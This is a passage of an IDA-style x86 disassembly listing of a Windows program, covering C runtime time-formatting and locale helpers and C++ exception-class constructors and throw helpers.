mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+arg_4]
mov edx, [ecx+0Ch]
push edx
call __store_num
add esp, 10h
jmp loc_4384D8
; ---------------------------------------------------------------------------
loc_438158: ; CODE XREF: sub_437F70+2Cj
; DATA XREF: .text:004384E9o
mov eax, dword_4F38B0
mov dword_4F38B4, eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 2
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
push ecx
call __store_num
add esp, 10h
jmp loc_4384D8
; ---------------------------------------------------------------------------
loc_438180: ; CODE XREF: sub_437F70+2Cj
; DATA XREF: .text:004384EDo
mov edx, dword_4F38B0
mov dword_4F38B4, edx
mov eax, [ebp+arg_4]
mov eax, [eax+8]
cdq
mov ecx, 0Ch
idiv ecx
mov [ebp+var_4], edx
cmp [ebp+var_4], 0
jnz short loc_4381AA
mov [ebp+var_4], 0Ch
loc_4381AA: ; CODE XREF: sub_437F70+231j
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+var_4]
push ecx
call __store_num
add esp, 10h
jmp loc_4384D8
; ---------------------------------------------------------------------------
loc_4381C5: ; CODE XREF: sub_437F70+2Cj
; DATA XREF: .text:0043851Do
mov edx, dword_4F38B0
mov dword_4F38B4, edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 3
mov edx, [ebp+arg_4]
mov eax, [edx+1Ch]
add eax, 1
push eax
call __store_num
add esp, 10h
jmp loc_4384D8
; ---------------------------------------------------------------------------
loc_4381F2: ; CODE XREF: sub_437F70+2Cj
; DATA XREF: .text:00438521o
mov ecx, dword_4F38B0
mov dword_4F38B4, ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+arg_4]
mov edx, [ecx+10h]
add edx, 1
push edx
call __store_num
add esp, 10h
jmp loc_4384D8
; ---------------------------------------------------------------------------
loc_43821F: ; CODE XREF: sub_437F70+2Cj
; DATA XREF: .text:004384F1o
mov eax, dword_4F38B0
mov dword_4F38B4, eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 2
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
push ecx
call __store_num
add esp, 10h
jmp loc_4384D8
; ---------------------------------------------------------------------------
loc_438247: ; CODE XREF: sub_437F70+2Cj
; DATA XREF: .text:00438525o
mov edx, [ebp+arg_4]
cmp dword ptr [edx+8], 0Bh
jg short loc_43826C
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+98h]
push eax
call __store_str
add esp, 0Ch
jmp short loc_438286
; ---------------------------------------------------------------------------
loc_43826C: ; CODE XREF: sub_437F70+2DEj
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_10]
mov ecx, [eax+9Ch]
push ecx
call __store_str
add esp, 0Ch
loc_438286: ; CODE XREF: sub_437F70+2FAj
jmp loc_4384D8
; ---------------------------------------------------------------------------
loc_43828B: ; CODE XREF: sub_437F70+2Cj
; DATA XREF: .text:004384F5o
mov edx, dword_4F38B0
mov dword_4F38B4, edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 2
mov edx, [ebp+arg_4]
mov eax, [edx]
push eax
call __store_num
add esp, 10h
jmp loc_4384D8
; ---------------------------------------------------------------------------
loc_4382B4: ; CODE XREF: sub_437F70+2Cj
; DATA XREF: .text:004384F9o
mov ecx, dword_4F38B0
mov dword_4F38B4, ecx
mov edx, [ebp+arg_4]
mov eax, [edx+18h]
mov [ebp+var_8], eax
jmp short loc_43831D
; ---------------------------------------------------------------------------
loc_4382CB: ; CODE XREF: sub_437F70+2Cj
; DATA XREF: .text:00438529o
mov ecx, dword_4F38B0
mov dword_4F38B4, ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 1
mov ecx, [ebp+arg_4]
mov edx, [ecx+18h]
push edx
call __store_num
add esp, 10h
jmp loc_4384D8
; ---------------------------------------------------------------------------
loc_4382F5: ; CODE XREF: sub_437F70+2Cj
; DATA XREF: .text:004384FDo
mov eax, dword_4F38B0
mov dword_4F38B4, eax
mov ecx, [ebp+arg_4]
cmp dword ptr [ecx+18h], 0
jnz short loc_438311
mov [ebp+var_8], 6
jmp short loc_43831D
; ---------------------------------------------------------------------------
loc_438311: ; CODE XREF: sub_437F70+396j
mov edx, [ebp+arg_4]
mov eax, [edx+18h]
sub eax, 1
mov [ebp+var_8], eax
loc_43831D: ; CODE XREF: sub_437F70+359j
; sub_437F70+39Fj
mov ecx, [ebp+arg_4]
mov edx, [ecx+1Ch]
cmp edx, [ebp+var_8]
jge short loc_438331
mov [ebp+var_4], 0
jmp short loc_43835E
; ---------------------------------------------------------------------------
loc_438331: ; CODE XREF: sub_437F70+3B6j
mov eax, [ebp+arg_4]
mov eax, [eax+1Ch]
cdq
mov ecx, 7
idiv ecx
mov [ebp+var_4], eax
mov edx, [ebp+arg_4]
mov eax, [edx+1Ch]
cdq
mov ecx, 7
idiv ecx
cmp edx, [ebp+var_8]
jl short loc_43835E
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_43835E: ; CODE XREF: sub_437F70+3BFj
; sub_437F70+3E3j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 2
mov edx, [ebp+var_4]
push edx
call __store_num
add esp, 10h
jmp loc_4384D8
; ---------------------------------------------------------------------------
loc_438379: ; CODE XREF: sub_437F70+2Cj
; DATA XREF: .text:0043852Do
cmp dword_4F38B0, 0
jz short loc_4383B0
mov dword_4F38B0, 0
mov eax, [ebp+arg_10]
push eax ; int
mov ecx, [ebp+arg_C]
push ecx ; int
mov edx, [ebp+arg_8]
push edx ; int
mov eax, [ebp+arg_4]
push eax ; int
mov ecx, [ebp+arg_10]
mov edx, [ecx+0A4h]
push edx ; Str1
call __store_winword
add esp, 14h
jmp short loc_4383D2
; ---------------------------------------------------------------------------
loc_4383B0: ; CODE XREF: sub_437F70+410j
mov eax, [ebp+arg_10]
push eax ; int
mov ecx, [ebp+arg_C]
push ecx ; int
mov edx, [ebp+arg_8]
push edx ; int
mov eax, [ebp+arg_4]
push eax ; int
mov ecx, [ebp+arg_10]
mov edx, [ecx+0A0h]
push edx ; Str1
call __store_winword
add esp, 14h
loc_4383D2: ; CODE XREF: sub_437F70+43Ej
jmp loc_4384D8
; ---------------------------------------------------------------------------
loc_4383D7: ; CODE XREF: sub_437F70+2Cj
; DATA XREF: .text:00438501o
mov dword_4F38B0, 0
mov eax, [ebp+arg_10]
push eax ; int
mov ecx, [ebp+arg_C]
push ecx ; int
mov edx, [ebp+arg_8]
push edx ; int
mov eax, [ebp+arg_4]
push eax ; int
mov ecx, [ebp+arg_10]
mov edx, [ecx+0A8h]
push edx ; Str1
call __store_winword
add esp, 14h
jmp loc_4384D8
; ---------------------------------------------------------------------------
loc_438408: ; CODE XREF: sub_437F70+2Cj
; DATA XREF: .text:00438531o
mov eax, dword_4F38B0
mov dword_4F38B4, eax
mov ecx, [ebp+arg_4]
mov eax, [ecx+14h]
cdq
mov ecx, 64h
idiv ecx
mov [ebp+var_4], edx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+var_4]
push ecx
call __store_num
add esp, 10h
jmp loc_4384D8
; ---------------------------------------------------------------------------
loc_43843E: ; CODE XREF: sub_437F70+2Cj
; DATA XREF: .text:00438505o
mov edx, dword_4F38B0
mov dword_4F38B4, edx
mov eax, [ebp+arg_4]
mov eax, [eax+14h]
cdq
mov ecx, 64h
idiv ecx
mov ecx, eax
add ecx, 13h
imul ecx, 64h
mov edx, [ebp+arg_4]
mov eax, [edx+14h]
cdq
mov esi, 64h
idiv esi
add ecx, edx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 4
mov edx, [ebp+var_4]
push edx
call __store_num
add esp, 10h
jmp short loc_4384D8
; ---------------------------------------------------------------------------
loc_43848B: ; CODE XREF: sub_437F70+2Cj
; DATA XREF: .text:00438509o
call ___tzset
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
xor eax, eax
cmp dword ptr [edx+20h], 0
setnz al
mov ecx, off_454624[eax*4]
push ecx
call __store_str
add esp, 0Ch
jmp short loc_4384D8
; ---------------------------------------------------------------------------
loc_4384B6: ; CODE XREF: sub_437F70+2Cj
; DATA XREF: .text:off_4384DDo
mov edx, [ebp+arg_8]
mov eax, [edx]
mov byte ptr [eax], 25h
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
loc_4384D8: ; CODE XREF: sub_437F70+1Bj
; sub_437F70+2Cj ...
pop esi
mov esp, ebp
pop ebp
retn
sub_437F70 endp
; ---------------------------------------------------------------------------
off_4384DD dd offset loc_4384B6 ; DATA XREF: sub_437F70+2Cr
dd offset loc_437FC5
dd offset loc_43800B
dd offset loc_438158
dd offset loc_438180
dd offset loc_43821F
dd offset loc_43828B
dd offset loc_4382B4
dd offset loc_4382F5
dd offset loc_4383D7
dd offset loc_43843E
dd offset loc_43848B
dd offset loc_437FA3
dd offset loc_437FE8
dd offset loc_43802E
dd offset loc_43812E
dd offset loc_4381C5
dd offset loc_4381F2
dd offset loc_438247
dd offset loc_4382CB
dd offset loc_438379
dd offset loc_438408
dd offset loc_4384D8
byte_438539 db 0 ; DATA XREF: sub_437F70+26r
dw 1616h
dd 6 dup(16161616h), 16020116h, 16161616h, 16160403h, 16160516h
dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h
dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h
dd 0CC0B1514h
; [00000048 BYTES: COLLAPSED FUNCTION __store_str. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000AD BYTES: COLLAPSED FUNCTION __store_num. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000AC BYTES: COLLAPSED FUNCTION __store_number. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000480 BYTES: COLLAPSED FUNCTION __store_winword. PRESS KEYPAD "+" TO EXPAND]
off_438BC0 dd offset loc_438A2F ; DATA XREF: __store_winword+91r
dd offset loc_438913
dd offset loc_43889E
dd offset loc_4387D8
dd offset loc_438816
dd offset loc_438877
dd offset loc_4388C5
dd offset loc_4388EC
dd offset loc_43895A
dd offset loc_438854
dd offset loc_438B10
byte_438BEC db 0 ; DATA XREF: __store_winword+8Br
db 3 dup(0Ah)
dd 5 dup(0A0A0A0Ah), 0A010A0Ah, 0A0A0A0Ah, 0A0A020Ah, 0A030A0Ah
dd 4 dup(0A0A0A0Ah), 0A010A0Ah, 0A0A040Ah, 0A0A050Ah, 0A060A0Ah
dd 0A0A0A0Ah, 0A0A0807h
db 2 dup(0Ah), 9
dd offset loc_4387F7 ; DATA XREF: __store_winword+B0r
dd offset loc_438801
dd offset loc_438807
dd offset loc_43880D
off_438C4F dd offset loc_438835 ; DATA XREF: __store_winword+EEr
dd offset loc_43883F
dd offset loc_438845
dd offset loc_43884B
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_438C60 proc near ; CODE XREF: __get_lc_time+41p
; __get_lc_time+60p ...
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = byte ptr -8Ch
Source = dword ptr -0Ch
Count = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0A8h
cmp [ebp+arg_0], 1
jnz loc_438DC9
mov eax, [ebp+arg_C]
mov [ebp+var_90], eax
lea ecx, [ebp+var_8C]
mov [ebp+Source], ecx
mov [ebp+var_4], 0
mov [ebp+var_94], 80h
push 0
mov edx, [ebp+var_94]
push edx
mov eax, [ebp+Source]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
call ___crtGetLocaleInfoA
add esp, 14h
mov [ebp+Count], eax
cmp [ebp+Count], 0
jnz loc_438D4F
call ds:dword_4F5360 ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_438CD0
jmp loc_438DAD
; ---------------------------------------------------------------------------
loc_438CD0: ; CODE XREF: sub_438C60+69j
push 0
push 0
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call ___crtGetLocaleInfoA
add esp, 14h
mov [ebp+var_94], eax
cmp [ebp+var_94], 0
jnz short loc_438CFA
jmp loc_438DAD
; ---------------------------------------------------------------------------
loc_438CFA: ; CODE XREF: sub_438C60+93j
push 58h
push offset aInithelp_c ; "inithelp.c"
push 2
mov edx, [ebp+var_94]
push edx
call __malloc_dbg
add esp, 10h
mov [ebp+Source], eax
cmp [ebp+Source], 0
jnz short loc_438D20
jmp loc_438DAD
; ---------------------------------------------------------------------------
loc_438D20: ; CODE XREF: sub_438C60+B9j
mov [ebp+var_4], 1
push 0
mov eax, [ebp+var_94]
push eax
mov ecx, [ebp+Source]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
call ___crtGetLocaleInfoA
add esp, 14h
mov [ebp+Count], eax
cmp [ebp+Count], 0
jnz short loc_438D4F
jmp short loc_438DAD
; ---------------------------------------------------------------------------
loc_438D4F: ; CODE XREF: sub_438C60+5Aj
; sub_438C60+EBj
push 63h
push offset aInithelp_c ; "inithelp.c"
push 2
mov ecx, [ebp+Count]
push ecx
call __malloc_dbg
add esp, 10h
mov edx, [ebp+var_90]
mov [edx], eax
mov eax, [ebp+var_90]
cmp dword ptr [eax], 0
jnz short loc_438D79
jmp short loc_438DAD
; ---------------------------------------------------------------------------
loc_438D79: ; CODE XREF: sub_438C60+115j
mov ecx, [ebp+Count]
push ecx ; Count
mov edx, [ebp+Source]
push edx ; Source
mov eax, [ebp+var_90]
mov ecx, [eax]
push ecx ; Dest
call _strncpy
add esp, 0Ch
cmp [ebp+var_4], 0
jz short loc_438DA6
push 2
mov edx, [ebp+Source]
push edx
call __free_dbg
add esp, 8
loc_438DA6: ; CODE XREF: sub_438C60+136j
xor eax, eax
jmp loc_438EE6
; ---------------------------------------------------------------------------
loc_438DAD: ; CODE XREF: sub_438C60+6Bj
; sub_438C60+95j ...
cmp [ebp+var_4], 0
jz short loc_438DC1
push 2
mov eax, [ebp+Source]
push eax
call __free_dbg
add esp, 8
loc_438DC1: ; CODE XREF: sub_438C60+151j
or eax, 0FFFFFFFFh
jmp loc_438EE6
; ---------------------------------------------------------------------------
loc_438DC9: ; CODE XREF: sub_438C60+Dj
cmp [ebp+arg_0], 0
jnz loc_438EE3
mov [ebp+var_A4], 4
mov ecx, [ebp+arg_C]
mov [ebp+var_9C], ecx
push 0
mov edx, [ebp+var_A4]
push edx
push offset byte_4F388C
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call ___crtGetLocaleInfoW
add esp, 14h
test eax, eax
jnz short loc_438E10
or eax, 0FFFFFFFFh
jmp loc_438EE6
; ---------------------------------------------------------------------------
loc_438E10: ; CODE XREF: sub_438C60+1A6j
mov edx, [ebp+var_9C]
mov byte ptr [edx], 0
mov [ebp+var_A0], 0
jmp short loc_438E34
; ---------------------------------------------------------------------------
loc_438E25: ; CODE XREF: sub_438C60:loc_438EDAj
mov eax, [ebp+var_A0]
add eax, 1
mov [ebp+var_A0], eax
loc_438E34: ; CODE XREF: sub_438C60+1C3j
cmp [ebp+var_A0], 4
jge loc_438EDF
cmp SrcSizeInBytes, 1
jle short loc_438E7B
push 4 ; Type
mov ecx, [ebp+var_A0]
mov dl, byte_4F388C[ecx*2]
mov byte ptr [ebp+var_98], dl
mov eax, [ebp+var_98]
and eax, 0FFh
push eax ; C
call __isctype
add esp, 8
mov [ebp+var_A8], eax
jmp short loc_438EAE
; ---------------------------------------------------------------------------
loc_438E7B: ; CODE XREF: sub_438C60+1E8j
mov ecx, [ebp+var_A0]
mov dl, byte_4F388C[ecx*2]
mov byte ptr [ebp+var_98], dl
mov eax, [ebp+var_98]
and eax, 0FFh
mov ecx, off_453CF4
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_A8], edx
loc_438EAE: ; CODE XREF: sub_438C60+219j
cmp [ebp+var_A8], 0
jz short loc_438ED8
mov eax, [ebp+var_9C]
movsx ecx, byte ptr [eax]
imul ecx, 0Ah
movsx edx, byte ptr [ebp+var_98]
lea eax, [ecx+edx-30h]
mov ecx, [ebp+var_9C]
mov [ecx], al
jmp short loc_438EDA
; ---------------------------------------------------------------------------
loc_438ED8: ; CODE XREF: sub_438C60+255j
jmp short loc_438EDF
; ---------------------------------------------------------------------------
loc_438EDA: ; CODE XREF: sub_438C60+276j
jmp loc_438E25
; ---------------------------------------------------------------------------
loc_438EDF: ; CODE XREF: sub_438C60+1DBj
; sub_438C60:loc_438ED8j
xor eax, eax
jmp short loc_438EE6
; ---------------------------------------------------------------------------
loc_438EE3: ; CODE XREF: sub_438C60+16Dj
or eax, 0FFFFFFFFh
loc_438EE6: ; CODE XREF: sub_438C60+148j
; sub_438C60+164j ...
mov esp, ebp
pop ebp
retn
sub_438C60 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, off_454F28
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; [0000026D BYTES: COLLAPSED FUNCTION ___crtGetStringTypeW. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000101 BYTES: COLLAPSED FUNCTION __strnicmp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000073 BYTES: COLLAPSED FUNCTION __setmode. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000CF BYTES: COLLAPSED FUNCTION __setmode_lk. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000043D BYTES: COLLAPSED FUNCTION ___ld12mul. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000C3 BYTES: COLLAPSED FUNCTION ___multtenpow12. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000004F BYTES: COLLAPSED FUNCTION __mbsnbicoll. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000AE BYTES: COLLAPSED FUNCTION ___wtomb_environ. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000195 BYTES: COLLAPSED FUNCTION ___crtGetLocaleInfoW. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000001A5 BYTES: COLLAPSED FUNCTION ___crtGetLocaleInfoA. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000003F8 BYTES: COLLAPSED FUNCTION ___crtCompareStringA. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000050 BYTES: COLLAPSED FUNCTION _strncnt_0. PRESS KEYPAD "+" TO EXPAND]
; [000002E0 BYTES: COLLAPSED FUNCTION ___crtsetenv. PRESS KEYPAD "+" TO EXPAND]
; [0000007C BYTES: COLLAPSED FUNCTION _findenv. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000EE BYTES: COLLAPSED FUNCTION _copy_environ. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000ED BYTES: COLLAPSED FUNCTION __mbschr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A6C0 proc near ; CODE XREF: sub_40DD68+15p
; sub_40DDFC+15p ...
var_3C = byte ptr -3Ch
var_38 = byte ptr -38h
var_28 = byte ptr -28h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_43A6C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [ebp+var_3C]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp+var_38]
call sub_40DD15
mov [ebp+var_4], 0
lea ecx, [ebp+var_38]
push ecx
lea ecx, [ebp+var_28]
call sub_43A870
push offset dword_43E460
lea edx, [ebp+var_28]
push edx
call __CxxThrowException@8 ; _CxxThrowException(x,x)
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_43A6C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A720 proc near ; CODE XREF: sub_43A7B0+10p
; sub_43A990+Ep ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_43A720
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_10]
call ??0exception@@QAE@ABV0@@Z ; exception::exception(exception const &)
mov [ebp+var_4], 0
mov ecx, [ebp+arg_0]
add ecx, 0Ch
push ecx
mov ecx, [ebp+var_10]
add ecx, 0Ch
call sub_40DCEB
mov edx, [ebp+var_10]
mov dword ptr [edx], offset off_43E110
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_10]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
sub_43A720 endp
; ---------------------------------------------------------------------------
align 10h
; [00000016 BYTES: COLLAPSED FUNCTION sub_43A790. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A7B0 proc near ; DATA XREF: .rdata:0043E118o
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_20], ecx
mov eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_1C]
call sub_43A720
push offset dword_43E4D0
lea ecx, [ebp+var_1C]
push ecx
call __CxxThrowException@8 ; _CxxThrowException(x,x)
mov esp, ebp
pop ebp
retn
sub_43A7B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A7E0 proc near ; CODE XREF: sub_43A840+Ap
; sub_43A910+13p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_43A7E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov eax, [ebp+var_10]
mov dword ptr [eax], offset off_43E110
mov [ebp+var_4], 0
mov ecx, [ebp+var_10]
add ecx, 0Ch
call sub_40DD38
mov [ebp+var_4], 0FFFFFFFFh
mov ecx, [ebp+var_10]
call ??1exception@@UAE@XZ ; exception::~exception(void)
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_43A7E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A840 proc near ; DATA XREF: .rdata:off_43E110o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_43A7E0
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_43A865
mov ecx, [ebp+var_4]
push ecx ; void *
call ??3@YAXPAX@Z ; operator delete(void *)
add esp, 4
loc_43A865: ; CODE XREF: sub_43A840+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_43A840 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A870 proc near ; CODE XREF: sub_43A6C0+3Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_43A8A0
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_43E120
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_43A870 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A8A0 proc near ; CODE XREF: sub_43A870+Ep
; sub_43AA20+Ep
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_43A8A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
mov [ebp+var_14], ecx
mov [ebp+var_10], offset dword_43CF7C
lea eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_14]
call ??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &)
mov [ebp+var_4], 0
mov ecx, [ebp+arg_0]
push ecx
mov ecx, [ebp+var_14]
add ecx, 0Ch
call sub_40DCEB
mov edx, [ebp+var_14]
mov dword ptr [edx], offset off_43E110
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_14]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
sub_43A8A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A910 proc near ; CODE XREF: sub_43A960+Ap
; DATA XREF: .rdata:0043E464o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_43E120
mov ecx, [ebp+var_4]
call sub_43A7E0
mov esp, ebp
pop ebp
retn
sub_43A910 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A930 proc near ; DATA XREF: .rdata:0043E128o
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_20], ecx
mov eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_1C]
call sub_43A990
push offset dword_43E460
lea ecx, [ebp+var_1C]
push ecx
call __CxxThrowException@8 ; _CxxThrowException(x,x)
mov esp, ebp
pop ebp
retn
sub_43A930 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A960 proc near ; DATA XREF: .rdata:off_43E120o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_43A910
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_43A985
mov ecx, [ebp+var_4]
push ecx ; void *
call ??3@YAXPAX@Z ; operator delete(void *)
add esp, 4
loc_43A985: ; CODE XREF: sub_43A960+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_43A960 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A990 proc near ; CODE XREF: sub_43A930+10p
; DATA XREF: .rdata:0043E448o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_43A720
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_43E120
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_43A990 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A9C0 proc near ; CODE XREF: sub_40DE66+17p
; sub_40E0E5+Ep
var_3C = byte ptr -3Ch
var_38 = byte ptr -38h
var_28 = byte ptr -28h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_43A9C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [ebp+var_3C]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp+var_38]
call sub_40DD15
mov [ebp+var_4], 0
lea ecx, [ebp+var_38]
push ecx
lea ecx, [ebp+var_28]
call sub_43AA20
push offset dword_43E560
lea edx, [ebp+var_28]
push edx
call __CxxThrowException@8 ; _CxxThrowException(x,x)
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_43A9C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AA20 proc near ; CODE XREF: sub_43A9C0+3Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_43A8A0
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_43E148
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_43AA20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AA50 proc near ; CODE XREF: sub_43AAA0+Ap
; DATA XREF: .rdata:0043E564o
var_4 = dword ptr -4
push ebp
mov ebp, esp
